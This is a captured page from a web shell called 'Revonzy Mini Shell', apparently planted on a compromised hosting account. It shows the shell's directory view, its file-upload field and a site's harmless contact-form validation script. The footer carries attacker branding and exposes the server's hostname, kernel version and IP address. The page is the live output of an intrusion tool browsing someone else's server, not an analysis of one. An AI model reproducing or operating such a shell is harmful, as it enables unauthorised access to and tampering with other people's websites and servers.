Revonzy Mini Shell

Şuanki Dizin: /home4/shrishtiarchitec/public_html/js/
Dosya Yükle :
Şuanki Dosya : //home4/shrishtiarchitec/public_html/js/contact.js

// JavaScript Document
$(document).ready(function(){
	
	////////////////////////////////////
	// Add contact form validation
	////////////////////////////////////
	$("#contactform").validate({
		rules: 
		{ 
			name: 
			{ 
				required: true,
			},
			email: 
			{ 
				email: true,
				required: true,
			},
			message: 
			{ 
				required: true,
			}
		},
		messages:
		{
			
		}
	});// eof validation
	
	
	////////////////////////////////
	// on click of submit button
	////////////////////////////////
	$("#submit").click(function(){
		
		flag=$("#contactform").valid();
		/*alert("Before Success");
		
		
		if (flag==true)
		{
			//alert("Success");
			var formdata = new FormData();
			formdata.append('type', "enquiry");
			formdata.append('name', $("#name").val());
			formdata.append('emailId', $("#emailId").val());
			formdata.append('countrycode', $("#countrycode").val());
			formdata.append('phone', $("#phone").val());
			formdata.append('msg', $("#msg").val());
			
			var x;
			$.ajax({
				 url:"contact_curd.php",
				 type: "POST",
				 data: formdata,
				 async:false,
				 success: function(data){ alert(data);
					 x=data;
				 },
				 cache: false,
				 contentType: false,
				 processData: false
			});
			if(x==1)
			{
				window.location.replace("index.php");
			}
			if(x==0)
			{
				$("#captchaError").html("The reCAPTCHA wasn't entered correctly. Please try it again.");
			}
		
		}*/
	});// eof #submit click function
		
});

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42